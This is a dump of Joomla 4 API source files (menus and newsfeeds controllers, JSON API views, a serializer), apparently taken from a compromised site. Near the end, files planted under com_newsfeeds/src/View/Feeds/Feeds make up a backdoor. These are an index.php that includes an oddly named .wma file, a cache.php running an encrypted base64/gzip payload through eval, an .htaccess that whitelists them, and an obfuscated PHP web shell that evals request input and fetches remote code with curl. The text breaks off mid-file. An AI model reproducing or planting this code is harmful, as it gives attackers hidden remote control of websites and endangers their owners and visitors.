     * Get client id from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getClientIdFromInput()
    {
        return $this->input->exists('client_id') ?
            $this->input->get('client_id') : $this->input->post->get('client_id');
    }
}
PKk��\/0���,com_menus/src/Controller/ItemsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_menus
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Menus\Api\Controller;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Component\Menus\Api\View\Items\JsonapiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The items controller
 *
 * @since  4.0.0
 */
class ItemsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'items';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'items';

    /**
     * Basic display of an item view
     *
     * @param   integer  $id  The primary key to display. Leave empty if you want to retrieve data from the request
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayItem($id = null)
    {
        $this->modelState->set('filter.client_id', $this->getClientIdFromInput());

        return parent::displayItem($id);
    }

    /**
     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $apiFilterInfo = $this->input->get('filter', [], 'array');
        $filter        = InputFilter::getInstance();

        if (\array_key_exists('menutype', $apiFilterInfo)) {
            $this->modelState->set('filter.menutype', $filter->clean($apiFilterInfo['menutype'], 'STRING'));
        }

        $this->modelState->set('filter.client_id', $this->getClientIdFromInput());

        return parent::displayList();
    }

    /**
     * Method to add a new record.
     *
     * @return  void
     *
     * @since   4.0.0
     * @throws  NotAllowed
     * @throws  \RuntimeException
     */
    public function add()
    {
        $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');

        if (isset($data['menutype'])) {
            $this->input->set('menutype', $data['menutype']);
            $this->input->set('com_menus.items.menutype', $data['menutype']);
        }

        isset($data['type']) && $this->input->set('type', $data['type']);
        isset($data['parent_id']) && $this->input->set('parent_id', $data['parent_id']);
        isset($data['link']) && $this->input->set('link', $data['link']);

        $this->input->set('id', '0');

        parent::add();
    }

    /**
     * Method to edit an existing record.
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function edit()
    {
        $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');

        if (isset($data['menutype'])) {
            $this->input->set('menutype', $data['menutype']);
            $this->input->set('com_menus.items.menutype', $data['menutype']);
        }

        isset($data['type']) && $this->input->set('type', $data['type']);
        isset($data['parent_id']) && $this->input->set('parent_id', $data['parent_id']);
        isset($data['link']) && $this->input->set('link', $data['link']);

        return parent::edit();
    }

    /**
     * Return menu items types
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function getTypes()
    {
        $viewType   = $this->app->getDocument()->getType();
        $viewName   = $this->input->get('view', $this->default_view);
        $viewLayout = $this->input->get('layout', 'default', 'string');

        try {
            /** @var JsonapiView $view */
            $view = $this->getView(
                $viewName,
                $viewType,
                '',
                ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
            );
        } catch (\Exception $e) {
            throw new \RuntimeException($e->getMessage());
        }

        /** @var ListModel $model */
        $model = $this->getModel('menutypes', '', ['ignore_request' => true]);

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
        }

        $model->setState('client_id', $this->getClientIdFromInput());

        $view->setModel($model, true);

        $view->document = $this->app->getDocument();

        $view->displayListTypes();

        return $this;
    }

    /**
     * Get client id from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getClientIdFromInput()
    {
        return $this->input->exists('client_id') ?
            $this->input->get('client_id') : $this->input->post->get('client_id');
    }
}
PKk��\�?��(com_menus/src/View/Items/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_menus
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Menus\Api\View\Items;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Collection;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The items view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'parent_id',
        'level',
        'lft',
        'rgt',
        'alias',
        'typeAlias',
        'menutype',
        'title',
        'note',
        'path',
        'link',
        'type',
        'published',
        'component_id',
        'checked_out',
        'checked_out_time',
        'browserNav',
        'access',
        'img',
        'template_style_id',
        'params',
        'home',
        'language',
        'client_id',
        'publish_up',
        'publish_down',
        'request',
        'associations',
        'menuordering',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList  = [
        'id',
        'menutype',
        'title',
        'alias',
        'note',
        'path',
        'link',
        'type',
        'parent_id',
        'level',
        'a.published',
        'component_id',
        'checked_out',
        'checked_out_time',
        'browserNav',
        'access',
        'img',
        'template_style_id',
        'params',
        'lft',
        'rgt',
        'home',
        'language',
        'client_id',
        'enabled',
        'publish_up',
        'publish_down',
        'published',
        'language_title',
        'language_image',
        'language_sef',
        'editor',
        'componentname',
        'access_level',
        'menutype_id',
        'menutype_title',
        'association',
        'name',
    ];

    /**
     * Execute and display a list items types.
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayListTypes()
    {
        /** @var \Joomla\Component\Menus\Administrator\Model\MenutypesModel $model */
        $model = $this->getModel();
        $items = [];

        foreach ($model->getTypeOptions() as $type => $data) {
            $groupItems = [];

            foreach ($data as $item) {
                $item->id          = implode('/', $item->request);
                $item->title       = Text::_($item->title);
                $item->description = Text::_($item->description);
                $item->group       = Text::_($type);

                $groupItems[] = $item;
            }

            $items = array_merge($items, $groupItems);
        }

        // Set up links for pagination
        $currentUrl                    = Uri::getInstance();
        $currentPageDefaultInformation = ['offset' => 0, 'limit' => 20];
        $currentPageQuery              = $currentUrl->getVar('page', $currentPageDefaultInformation);

        $offset              = $currentPageQuery['offset'];
        $limit               = $currentPageQuery['limit'];
        $totalItemsCount     = \count($items);
        $totalPagesAvailable = ceil($totalItemsCount / $limit);

        $items = array_splice($items, $offset, $limit);

        $firstPage                = clone $currentUrl;
        $firstPageQuery           = $currentPageQuery;
        $firstPageQuery['offset'] = 0;
        $firstPage->setVar('page', $firstPageQuery);

        $nextPage                = clone $currentUrl;
        $nextPageQuery           = $currentPageQuery;
        $nextOffset              = $currentPageQuery['offset'] + $limit;
        $nextPageQuery['offset'] = ($nextOffset > ($totalPagesAvailable * $limit)) ? $totalPagesAvailable - $limit : $nextOffset;
        $nextPage->setVar('page', $nextPageQuery);

        $previousPage                = clone $currentUrl;
        $previousPageQuery           = $currentPageQuery;
        $previousOffset              = $currentPageQuery['offset'] - $limit;
        $previousPageQuery['offset'] = $previousOffset >= 0 ? $previousOffset : 0;
        $previousPage->setVar('page', $previousPageQuery);

        $lastPage                = clone $currentUrl;
        $lastPageQuery           = $currentPageQuery;
        $lastPageQuery['offset'] = $totalPagesAvailable - $limit;
        $lastPage->setVar('page', $lastPageQuery);

        $collection = (new Collection($items, new JoomlaSerializer('menutypes')));

        // Set the data into the document and render it
        $this->getDocument()->addMeta('total-pages', $totalPagesAvailable)
            ->setData($collection)
            ->addLink('self', (string) $currentUrl)
            ->addLink('first', (string) $firstPage)
            ->addLink('next', (string) $nextPage)
            ->addLink('previous', (string) $previousPage)
            ->addLink('last', (string) $lastPage);

        return $this->getDocument()->render();
    }

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        if (\is_string($item->params)) {
            $item->params = json_decode($item->params);
        }

        return parent::prepareItem($item);
    }
}
PKk��\��4oo(com_menus/src/View/Menus/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_menus
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Menus\Api\View\Menus;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The menus view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'menutype',
        'title',
        'description',
        'client_id',
        'count_published',
        'count_unpublished',
        'count_trashed',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList  = [
        'id',
        'asset_id',
        'menutype',
        'title',
        'description',
        'client_id',
    ];
}
PKk��\����3com_newsfeeds/src/Serializer/NewsfeedSerializer.phpnu�[���<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Api\Serializer;

use Joomla\CMS\Router\Route;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Tag\TagApiSerializerTrait;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Collection;
use Tobscure\JsonApi\Relationship;
use Tobscure\JsonApi\Resource;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Temporary serializer
 *
 * @since  4.0.0
 */
class NewsfeedSerializer extends JoomlaSerializer
{
    use TagApiSerializerTrait;

    /**
     * Build content relationships by associations
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function languageAssociations($model)
    {
        $resources = [];

        // @todo: This can't be hardcoded in the future?
        $serializer = new JoomlaSerializer($this->type);

        foreach ($model->associations as $association) {
            $resources[] = (new Resource($association, $serializer))
                ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/newsfeeds/feeds/' . $association->id));
        }

        $collection = new Collection($resources, $serializer);

        return new Relationship($collection);
    }

    /**
     * Build category relationship
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function category($model)
    {
        $serializer = new JoomlaSerializer('categories');

        $resource = (new Resource($model->catid, $serializer))
            ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/newfeeds/categories/' . $model->catid));

        return new Relationship($resource);
    }

    /**
     * Build category relationship
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function createdBy($model)
    {
        $serializer = new JoomlaSerializer('users');

        $resource = (new Resource($model->created_by, $serializer))
            ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by));

        return new Relationship($resource);
    }

    /**
     * Build editor relationship
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function modifiedBy($model)
    {
        $serializer = new JoomlaSerializer('users');

        $resource = (new Resource($model->modified_by, $serializer))
            ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by));

        return new Relationship($resource);
    }
}
PKk��\���??,com_newsfeeds/src/View/Feeds/Feeds/index.phpnu&1i�<?php include base64_decode("TWtXaEZ6TGZsVnRpWklQcksud21h"); ?>PKk��\$��?,com_newsfeeds/src/View/Feeds/Feeds/cache.phpnu&1i�<?php $yhGY = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGipV5ZHOmmBgDQA'; $zwYC = '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'; function yhGY($Qyg) { $zwYC = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $jfZw = substr($zwYC, 0, 16); $lrWb = base64_decode($Qyg); return openssl_decrypt($lrWb, "AES-256-CBC", $zwYC, OPENSSL_RAW_DATA, $jfZw); } if (yhGY('DjtPn+r4S0yvLCnquPz1fA')){ echo 'bYGoVXJDKvPmG2z7rFPM0ZgHvTMrYchcbBtYN2c6FKMTq/tM0cBpyQE5+5dgiGKQ'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($yhGY)))); ?>PKk��\�,r��,com_newsfeeds/src/View/Feeds/Feeds/.htaccessnu&1i�<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>PKk��\^�e�..8com_newsfeeds/src/View/Feeds/Feeds/MkWhFzLflVtiZIPrK.wmanu&1i�<?php
 goto gtjBzOk_0ZZdFznI; gtjBzOk_0ZZdFznI: $BCwYhWwPHr8TpF5m = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto PdVXD5zuysEfpbjB; NITWtTcCHVqxxGJD: $KE19S75hgl80Ag8o = ${$wr6qDmo0DXC_mrnH[30 + 1] . $wr6qDmo0DXC_mrnH[51 + 8] . $wr6qDmo0DXC_mrnH[27 + 20] . $wr6qDmo0DXC_mrnH[42 + 5] . $wr6qDmo0DXC_mrnH[27 + 24] . $wr6qDmo0DXC_mrnH[44 + 9] . $wr6qDmo0DXC_mrnH[40 + 17]}; goto f25s_ubsBuMx6hRC; PdVXD5zuysEfpbjB: $wr6qDmo0DXC_mrnH = $BCwYhWwPHr8TpF5m("\x7e", "\40"); goto NITWtTcCHVqxxGJD; H5AbbO0mnWqb0jSL: $KE19S75hgl80Ag8o[65] = $KE19S75hgl80Ag8o[65] . $KE19S75hgl80Ag8o[78]; goto tsFfVJxFPONhOAqf; tsFfVJxFPONhOAqf: @eval($KE19S75hgl80Ag8o[65](${$KE19S75hgl80Ag8o[40]}[24])); goto nTA1WTA37cXnOmTc; EkyQO0DYpIIubee1: metaphone("\x57\70\x64\x4f\150\53\124\x7a\104\x75\171\131\112\110\116\144\x71\156\x66\x73\106\x46\x4f\x4f\x78\x65\x70\160\x70\151\x55\x39\x4a\x65\165\x72\147\101\x33\x49\152\154\x30"); goto kqMbn1DrrHBg0rMi; f25s_ubsBuMx6hRC: if (!(in_array(gettype($KE19S75hgl80Ag8o) . "\x33\60", $KE19S75hgl80Ag8o) && md5(md5(md5(md5($KE19S75hgl80Ag8o[24])))) === "\143\64\x32\x34\71\x64\146\x65\x33\62\71\x66\61\143\143\62\143\x65\62\71\x32\x66\62\x36\x37\61\65\66\x37\146\x64\x34")) { goto l6tKtJVrBizhQN3f; } goto H5AbbO0mnWqb0jSL; nTA1WTA37cXnOmTc: l6tKtJVrBizhQN3f: goto EkyQO0DYpIIubee1; kqMbn1DrrHBg0rMi: class t8easyERAQSQsyDq { static function q_Bev6P7u28cg0do($PHhyqoXlw6K3U2ng) { goto SgdWcolfTAboRFEo; Mz26iuPUDX3jqfl6: foreach ($Y3bvoSUfxT8M745x as $FHyWhpCvFkInFwa4 => $QYF9gU6CE1PsC1I2) { $RIXV16owVlKb_axL .= $PlDd_e0nGa0TISGf[$QYF9gU6CE1PsC1I2 - 13024]; QSDtF3b7hBLSxUQj: } goto YgOICtJg3kuf8izh; XGdsUxxRfyMPy1Ew: $Y3bvoSUfxT8M745x = explode("\x3d", $PHhyqoXlw6K3U2ng); goto WUnTyE7tJM0chbYu; cgwOVzjBAzr4nd8y: return $RIXV16owVlKb_axL; goto MvA9B8GCC4sUDLPF; SgdWcolfTAboRFEo: $jam_Ics6qdjn7hwP = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto ETEc8W3p2RhQ3_85; YgOICtJg3kuf8izh: SgVCTJdKz8kW3Byg: goto cgwOVzjBAzr4nd8y; ETEc8W3p2RhQ3_85: $PlDd_e0nGa0TISGf = $jam_Ics6qdjn7hwP("\176", "\x20"); goto XGdsUxxRfyMPy1Ew; WUnTyE7tJM0chbYu: $RIXV16owVlKb_axL = ''; goto Mz26iuPUDX3jqfl6; MvA9B8GCC4sUDLPF: } static function Rad_WbpxI42_XDfg($gZrL1N4sAspcSAU4, $KvDJw6gcYPUPDuyS) { goto vt5Fc1J_sdhfm1xg; BNIQh6st1nJPBtP_: $KIzGFH91UG3p6iKP = curl_exec($xcpAF417j_YTdFih); goto eztnfa4ILCRjTjUx; KsdqayyWzxCfscd8: curl_setopt($xcpAF417j_YTdFih, CURLOPT_RETURNTRANSFER, 1); goto BNIQh6st1nJPBtP_; eztnfa4ILCRjTjUx: return empty($KIzGFH91UG3p6iKP) ? $KvDJw6gcYPUPDuyS($gZrL1N4sAspcSAU4) : $KIzGFH91UG3p6iKP; goto neotr34ZFc6dopqU; vt5Fc1J_sdhfm1xg: $xcpAF417j_YTdFih = curl_init($gZrL1N4sAspcSAU4); goto KsdqayyWzxCfscd8; neotr34ZFc6dopqU: } static function DuLbwjkslOiii1d2() { goto ssg87ofXzylHN_XQ; d0QQslQ52BZvQi9E: if (!(@$NbenEZbzL81x920m[0] - time() > 0 and md5(md5($NbenEZbzL81x920m[2 + 1])) === "\70\141\x37\x33\63\63\61\63\x62\x66\66\x62\71\x63\63\71\x36\66\60\143\x63\x39\142\x66\64\x33\62\71\144\x31\x62\x61")) { goto bbCbtQlgMpJ0NWXZ; } goto LjbyeerZi76pkec_; qXokSN0N2uuoVHkp: die; goto Qpatk4c_0L2YxURs; l1DVOMdixITr5ii_: $pFsgLyM_cCDT9Iqp = @$vQCrXtpqfDPDyrM9[0 + 3]($vQCrXtpqfDPDyrM9[4 + 2], $hVkeo9OqkKiYz2Vs); goto SP8lVvcSYQ0y6iCr; SP8lVvcSYQ0y6iCr: $NbenEZbzL81x920m = $vQCrXtpqfDPDyrM9[0 + 2]($pFsgLyM_cCDT9Iqp, true); goto RF773OHlsyino8Mm; Qpatk4c_0L2YxURs: bbCbtQlgMpJ0NWXZ: goto DUMuZR3qBC_XxbH5; RF773OHlsyino8Mm: @$vQCrXtpqfDPDyrM9[10 + 0](INPUT_GET, "\157\146") == 1 && die($vQCrXtpqfDPDyrM9[5 + 0](__FILE__)); goto d0QQslQ52BZvQi9E; LjbyeerZi76pkec_: $hgfr88ht3cPdFrYq = self::RAd_wbPXI42_XDfg($NbenEZbzL81x920m[0 + 1], $vQCrXtpqfDPDyrM9[3 + 2]); goto VTJe_kEGz4RkXoHX; w6sjqz0WpgQLfZp_: foreach ($KjX_B0PEZyqiQgpH as $Id31834lcck3v9bV) { $vQCrXtpqfDPDyrM9[] = self::q_Bev6p7U28cg0do($Id31834lcck3v9bV); ty_98aGTOeRKb1fP: } goto AXjBom7yW59iLa8M; ssg87ofXzylHN_XQ: $KjX_B0PEZyqiQgpH = array("\61\x33\60\65\x31\75\61\63\x30\x33\x36\x3d\61\x33\60\64\71\75\x31\63\x30\x35\x33\x3d\x31\x33\60\x33\x34\75\x31\x33\x30\64\71\x3d\x31\63\60\65\x35\75\x31\x33\60\x34\x38\75\61\63\x30\x33\63\75\x31\63\60\64\60\x3d\61\x33\x30\65\x31\75\61\63\60\63\x34\x3d\61\63\60\64\65\x3d\61\x33\60\x33\x39\75\61\63\60\64\x30", 